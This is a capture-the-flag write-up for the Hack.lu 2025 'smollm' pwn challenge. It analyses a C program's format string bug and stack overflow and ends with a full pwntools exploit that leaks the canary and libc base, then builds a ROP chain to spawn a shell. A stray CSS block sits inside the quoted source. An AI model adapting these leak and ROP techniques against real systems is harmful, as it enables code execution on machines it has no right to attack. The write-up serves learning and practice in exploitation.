SMØLLM - Hack.lu 2025
pwn
Oct 24, 202513 min read

SMØLLM - Hack.lu 2025

Root-cause analysis and exploitation of a format string vulnerability in a C binary (Hack.lu CTF 2025), chained with a stack-based buffer overflow to defeat canary and ASLR/PIE and reach arbitrary code execution via ROP.

Wojtek
Wojtek
Offensive Security Engineer
📜NOTEjustCatTheFish

I played this CTF along with the justCatTheFish team. Thank you for the invitation disconnect3d

The Challenge

The challenge .zip contains:

A bunch of C files, Docker configuration, and a network daemon. ynetd wraps the binary for remote access and is not part of the exploit surface.

The files that matter are smollm (the target binary), smollm.c (source — a rare gift in pwn challenges), the bundled libc.so.6, and ld-linux-x86-64.so.2 matching the remote environment.

Time to read the code.

smollm.c Analysis

The full source:

smollm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#define TOKEN_SIZE 8
char tokens[256][TOKEN_SIZE] = { 0 };
int n_tokens = 0;
const char *init_tokens[] = {
"a", "about", "all", "also", "and", "as", "at", "be", "because", "but",
"by", "can", "come", "could", "computer", "ctf", "day", "do", "even",
"find", "first", "flux", "for", "from", "get", "give", "go", "hacklu",
"have", "he", "her", "here", "him", "his", "how", "I", "if", "in", "into",
"it", "its", "just", "know", "like", "look", "make", "man", "many", "me",
"more", "mvm", "my", "new", "no", "not", "now", "of", "on", "one", "only",
"or", "other", "our", "out", "people", "plfanzen", "say", "see", "she",
"so", "some", "take", "tell", "than", "that", "the", "their", "them",
"then", "there", "these", "they", "thing", "think", "this", "those",
"time", "to", "two", "up", "use", "very", "want", "way", "we", "well",
"what", "when", "which", "who", "will", "with", "would", "year", "you",
"your",
};
void add_token(const char* token, int len) {
if (n_tokens == 256) {
printf("Max number of tokens reached!\n");
return;
}
memcpy(tokens[n_tokens], token, len);
memset(tokens[n_tokens++] + len, ' ', TOKEN_SIZE - len);
}
void run_prompt() {
int n;
static unsigned int combinator = 0;
char in_buf[256], out_buf[256];
bzero(in_buf, sizeof(in_buf));
bzero(out_buf, sizeof(in_buf));
printf("How can I help you?\n>");
n = read(STDIN_FILENO, in_buf, sizeof(in_buf));
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
for (int i = 0; i < n; i++) {
memcpy(&out_buf[i*TOKEN_SIZE], tokens[(in_buf[i] + combinator++) % n_tokens], TOKEN_SIZE);
}
printf(out_buf);
printf("\n");
}
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (int i = 0; i < sizeof(init_tokens) / sizeof(*init_tokens); i++) {
add_token(init_tokens[i], strlen(init_tokens[i]));
}
}
int main(int argc, char *argv[]) {
int n;
char buf[9];
init();
printf("Hello, and welcome to smøllm. Your friendly AI assistant.\nYou can add you own custom tokens or run a prompt.\n");
while (1) {
printf("Do you want to\n1) Add a custom token\n2) Run a prompt\n>");
if (read(STDIN_FILENO, buf, sizeof(buf)) <= 0) {
printf("Read error\n");
exit(-1);
}
if (buf[0] == '1') {
memset(buf, 0, sizeof(buf));
printf("token?>");
n = read(STDIN_FILENO, buf, TOKEN_SIZE);
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
add_token(buf, n);
} else if (buf[0] == '2') {
run_prompt();
} else {
printf("Invalid choice\n");
}
}
}
html.light .liquid-glass {
background: rgba(15, 23, 42, 0.6);
border: 1px solid rgba(255, 255, 255, 0.12);
box-shadow:
0 16px 48px 0 rgba(0, 0, 0, 0.5),
inset 0 1px 1px 0 rgba(255, 255, 255, 0.2),
inset 0 -1px 1px 0 rgba(0, 0, 0, 0.4);
}

The program maintains a fixed array of 106 built-in string tokens, each padded to 8 bytes. It works like a CLI text generator — when you run a prompt, each character of your input is used as an index into the token array (offset by a running counter) and the corresponding token is copied into the output buffer. The result is a sentence made of words from the token list. If you choose option 1, your input is appended to the token array at index 106 and onwards, extending the list with custom words.

Looking at run_prompt, two issues in the code stand out:

  1. Format String Vulnerability — printf(out_buf) passes attacker-influenced data directly as the format string, so any token containing %p becomes a format specifier that dereferences the stack.
  2. Buffer Overflow — out_buf is 256 bytes, but the loop writes n * TOKEN_SIZE = n * 8 bytes, so sending more than 32 characters overflows the buffer.

printf and what can go wrong

In C, printf expects its first argument to be a format string — static text with optional format specifiers like %d or %s that get substituted with the following arguments:

printf("Hello %s, you are %d years old", name, age);

The vulnerability appears when attacker-controlled data is passed as that first argument. With a crafted input, an attacker can abuse printf’s format-string capabilities to read arbitrary data from the stack — leaking addresses, canaries, and pointers. In the most powerful case, %n can also write to arbitrary addresses, achieving code execution.

Let’s check the binary to see its protections:

$ checksec --file=smollm
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No

Every major mitigation is present.

  • Full RELRO - GOT is read-only, no GOT overwrites
  • Stack Canary - stack smashing will be detected unless we leak the canary first
  • NX - no shellcode on the stack, we need ROP
  • PIE - binary base is randomised, we need a leak to find gadgets

SHSTK (shadow stack) and IBT (indirect branch tracking) are also listed. We’ll revisit these when we get to exploitation.

⚡CORE TECHNIQUEWhy Full RELRO Matters

In older or less-protected binaries an attacker could overwrite a GOT entry — for example swapping printf’s address for system’s — so the next call to printf would invoke system instead. Full RELRO blocks this by marking the GOT read-only once the dynamic linker has resolved every symbol at startup.

With the source read and the mitigations mapped, it’s time to move to the next phase.

Exploitation

Since we know about the format-string bug, we start by attempting to leak some addresses from the stack — specifically the canary and a libc pointer, the two values we need to bypass the remaining mitigations.

Let’s set up the script first. We define two helper functions to interact with the binary’s menu, and consume the welcome banner so we’re ready to send commands:

from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")

The script connects, receives the welcome banner, and exits cleanly. The recvuntil(b"prompt.\n") lands exactly where we need it.

Attempting positional format specifiers

With a format-string bug, the first instinct is to try %N$x positional specifiers. If they work, it opens the door to %N$n for arbitrary writes — potentially giving us code execution through the format string alone, without needing the buffer overflow.

from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")
add_custom_token(b"%4$x")
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">")
data = p.recvuntil(b"\n")
print(data)
p.close()

printf detects positional specifiers and aborts with:

*** invalid %N$ use detected ***
qemu: uncaught target signal 6 (Aborted) - core dumped

Both targeted reads and arbitrary writes are off the table.

⚠️WARNINGPositional Specifiers Are Blocked

glibc’s printf detects positional argument specifiers (%1$p, %42$x) and aborts with *** invalid %N$ use detected *** when they appear alongside non-positional ones. That kills the classic %N$hn write primitive. Sequential %p still works — each one reads the next stack value in order, advancing the internal argument pointer.

Leaking the stack with %p

We add %p%p%p%p as a custom token at index 106. %p prints a pointer-sized value from the stack in hex. By making it a token, any input byte that maps to index 106 places %p%p%p%p into out_buf.

We then craft 32 bytes where each byte is computed so that (byte + combinator) % n_tokens == 106 — meaning every input character maps to our %p%p%p%p token. The result is out_buf filled with 256 bytes of %p%p%p%p, and printf walks the stack printing 128 consecutive 8-byte values.

from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p" * 4)
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">")
data = p.recvuntil(b"\n")
print(data)
p.close()

This time no abort — the binary prints a wall of hex values:

b'0x1f0x200x1f0x55555555b3c00x636465666768696a0x5b5c5d5e5f6061620x535455565758595a0x4b4c4d4e4f505152(nil)(nil)(nil)...'

Parsing the leak

Now we parse the output to find the canary and the libc pointer. The canary always ends in \x00 — a deliberate design so null-terminated string functions cannot leak it. Seeing it appear at three distinct stack offsets is the confirmation. The libc pointer is __libc_start_call_main+122, sitting at offset 0x2a1ca from the libc base.

from pwn import *
context.log_level = 'info'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
libc = ELF("./libc.so.6", checksec=False)
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
def parse_leaks(raw):
text = raw.decode(errors='replace').replace("(nil)", "0x0")
vals = []
for part in text.split("0x")[1:]:
hex_part = ""
for c in part:
if c in "0123456789abcdefABCDEF":
hex_part += c
else:
break
vals.append(int(hex_part, 16) if hex_part else 0)
return vals
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p%p%p%p")
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">\n", timeout=3)
raw = p.recvuntil(b"Do you want", timeout=5)
raw = raw.split(b"Do you want")[0]
vals = parse_leaks(raw)
canary = vals[69]
libc_base = vals[81] - 0x2a1ca
assert libc_base & 0xfff == 0, f"libc base misaligned: {hex(libc_base)}"
assert canary & 0xff == 0, f"canary doesn't end in 00: {hex(canary)}"
log.success(f"Canary: 0x{canary:x}")
log.success(f"Libc base: 0x{libc_base:x}")
p.close()

Canary extracted — ends in 00 as expected. Libc base at 0xffffb3000000. We now have everything we need to move to the ROP phase.

GDB Verification

We verify both leaked values against the live stack using gdb-multiarch and QEMU’s built-in GDB stub.

The binary is launched with the GDB stub in Terminal 1:

In Terminal 2, gdb-multiarch connects to the stub, sets the breakpoint at printf(out_buf), and continues:

In Terminal 1 we replicate what the script does manually — add %p%p%p%p as a custom token, then send the 32-byte payload that maps every input character to that token:

jihgfedcba`_^][ZYXWVUTSRQPONMLK

is those 32 bytes in ASCII, counting down from character 106 so that each one resolves to token index 106 after the combinator offset is applied.

After sending the leak payload, GDB pauses at the printf(out_buf) call. The stack is examined:

From the source both buffers are declared in order — in_buf[256] then out_buf[256]. The dump confirms this:

0xffff9bbfeb60: 0x636465666768696a ← in_buf start ("jihgfedc" — our input)
...
0xffff9bbfeb80: 0x000000000000000a ← newline, rest of in_buf zeroed
...
0xffff9bbfec60: 0x7025702570257025 ← out_buf start (%p%p%p%p in hex)

We scroll further past out_buf to find the canary and libc pointer:

Cross-referencing with info proc map confirms the libc pointer falls inside the libc text segment:

0x0000ffff9b000000 0x0000ffff9b028000 r--p libc.so.6 ← libc base
0x0000ffff9b028000 0x0000ffff9b1b0000 r-xp libc.so.6 ← text segment (our leak is here)

Subtracting the offset:

libc_base = 0xffff9b02a1ca - 0x2a1ca = 0xffff9b000000

Both values match what 4th.py extracted. Time to build the ROP chain.

⚠️WARNINGDouble libc Base — A Silent Bug

A common mistake is setting libc.address = libc_base and then computing libc_base + libc.sym['system']. pwntools’ ELF.sym[] already adds libc.address, so the base gets counted twice — the resulting address is garbage, system() never runs, and there is no error message. Pick one approach: either set libc.address and use libc.sym['system'] directly, or leave it unset and add libc_base manually.

Phase 2: ROP Chain

Adding ROP Tokens

Four tokens are added immediately after the leak, at indices 107–110:

add_custom_token(p64(canary)) # 107
add_custom_token(p64(addr_pop_rdi)) # 108 - pop rdi; pop rbp; ret @ libc+0x2a873
add_custom_token(p64(addr_bin_sh)) # 109 - "/bin/sh\0" in libc
add_custom_token(p64(addr_system)) # 110 - system()
n_tokens = 111

All four addresses are computed without setting libc.address:

addr_system = libc_base + libc.sym['system']
addr_bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
addr_pop_rdi = libc_base + 0x2a873

Junk Token Count — 33 Not 32

out_buf is 256 bytes. Intuition says 32 tokens × 8 bytes fills it, putting the canary at the boundary. GDB shows otherwise:

0xffff9b5fec70: 0x7025702570257025 ... ← out_buf[0] (first token)
...
0xffff9b5fed70: 0x20202020776f6e6b ... ← out_buf[256] ("know " padding)
0xffff9b5fed78: 0x4dea5b1d42cca900 ... ← CANARY at out_buf+264
0xffff9b5fed80: 0x0000ffff9b5fed9f ... ← saved RBP
0xffff9b5fed88: 0x0000555555558474 ... ← return address

The canary sits at out_buf+264, not out_buf+256. The extra 8 bytes (0x20202020776f6e6b — "know ") is token 105 ("know" padded with spaces), a leftover from a previous token lookup that lands there due to the specific combinator state at the time of the overflow call. The canary therefore requires 33 junk tokens to reach, not 32.

Confirming the offset with GDB

out_buf starts at 0xffff9b5fec70. The canary is at 0xffff9b5fed78. Difference: 0xffff9b5fed78 - 0xffff9b5fec70 = 0x108 = 264. So 264 / 8 = 33 tokens of junk before the canary slot.

⚠️WARNINGVerify the Offset Yourself

33 junk tokens, not 32 - the canary is at out_buf+264. This offset depends on the exact binary build and the combinator state at overflow time, so always confirm it in GDB rather than trusting an offset lifted from another writeup.

Stack Alignment Fix

system() uses SSE instructions that require RSP % 16 == 0 at call time. After a ret the stack is typically misaligned by 8 bytes. The standard fix is a lone ret gadget before pop rdi; ret. A different approach is used here: pop rdi; pop rbp; ret at libc offset 0x2a873. The extra pop rbp consumes one additional 8-byte slot from the stack, aligning it to 16 bytes without needing a separate ret.

The trade-off is that two /bin/sh tokens must be placed in the payload — one that lands in rdi (the system() argument) and one that gets consumed by pop rbp (its value is irrelevant).

Constructing the Overflow Payload

def tok(wanted_idx):
global combinator
b = (wanted_idx - combinator) % n_tokens
combinator += 1
return bytes([b])
payload2 = b""
for _ in range(33): # fills out_buf[0..263] — reaches canary boundary
payload2 += tok(0)
payload2 += tok(107) # out_buf[264..271] = canary (must match exactly)
payload2 += tok(0) # out_buf[272..279] = saved RBP (don't care)
payload2 += tok(108) # out_buf[280..287] = pop rdi; pop rbp; ret
payload2 += tok(109) # out_buf[288..295] = /bin/sh → rdi
payload2 += tok(109) # out_buf[296..303] = /bin/sh → rbp (alignment slot)
payload2 += tok(110) # out_buf[304..311] = system()

Total: 39 bytes of input → 312 bytes written to the stack.

📜EASY TO MISSWatch the Combinator State

The four add_custom_token calls between Phase 1 and Phase 2 do not call run_prompt(), so they do not advance combinator. The value going into Phase 2 is exactly 32 (from the 32-byte FSB payload). Every tok() call must account for this, or the token-index arithmetic produces wrong indices and the ROP addresses land corrupted on the stack.

Getting a Shell

The shell confirms the full chain worked: canary bypassed (no SIGABRT), ROP executed, system("/bin/sh") called. Running locally the process inherits the user context, so id returns kali.

SHSTK and IBT turned out to be non-issues — not enforced under QEMU user-mode emulation on ARM.

Full Exploit

from pwn import *
context.log_level = 'info'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
libc = ELF("./libc.so.6", checksec=False)
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
def parse_leaks(raw):
text = raw.decode(errors='replace').replace("(nil)", "0x0")
vals = []
for part in text.split("0x")[1:]:
hex_part = ""
for c in part:
if c in "0123456789abcdefABCDEF":
hex_part += c
else:
break
vals.append(int(hex_part, 16) if hex_part else 0)
return vals
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p%p%p%p")
n_tokens = 107
combinator = 0
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
combinator += 1
run_prompt(payload)
p.recvuntil(b">\n", timeout=3)
raw = p.recvuntil(b"Do you want", timeout=5)
raw = raw.split(b"Do you want")[0]
vals = parse_leaks(raw)
canary = vals[69]
libc_base = vals[81] - 0x2a1ca
assert libc_base & 0xfff == 0, f"libc base misaligned: {hex(libc_base)}"
assert canary & 0xff == 0, f"canary doesn't end in 00: {hex(canary)}"
addr_system = libc_base + libc.sym['system']
addr_bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
addr_pop_rdi = libc_base + 0x2a873
log.success(f"Canary: 0x{canary:x}")
log.success(f"Libc base: 0x{libc_base:x}")
log.success(f"system: 0x{addr_system:x}")
log.success(f"/bin/sh: 0x{addr_bin_sh:x}")
log.success(f"pop rdi;rbp: 0x{addr_pop_rdi:x}")
add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))
n_tokens = 111
def tok(wanted_idx):
global combinator
b = (wanted_idx - combinator) % n_tokens
combinator += 1
return bytes([b])
payload2 = b""
for _ in range(33):
payload2 += tok(0)
payload2 += tok(107)
payload2 += tok(0)
payload2 += tok(108)
payload2 += tok(109)
payload2 += tok(109)
payload2 += tok(110)
log.info(f"ROP payload: {len(payload2)} bytes")
run_prompt(payload2)
p.interactive()
Wojtek
Written by

Wojtek

Offensive Security Engineer

Frontend engineer and creative developer fascinated by the craft of building blazingly fast web apps, liquid glass design systems, and resilient software architectures.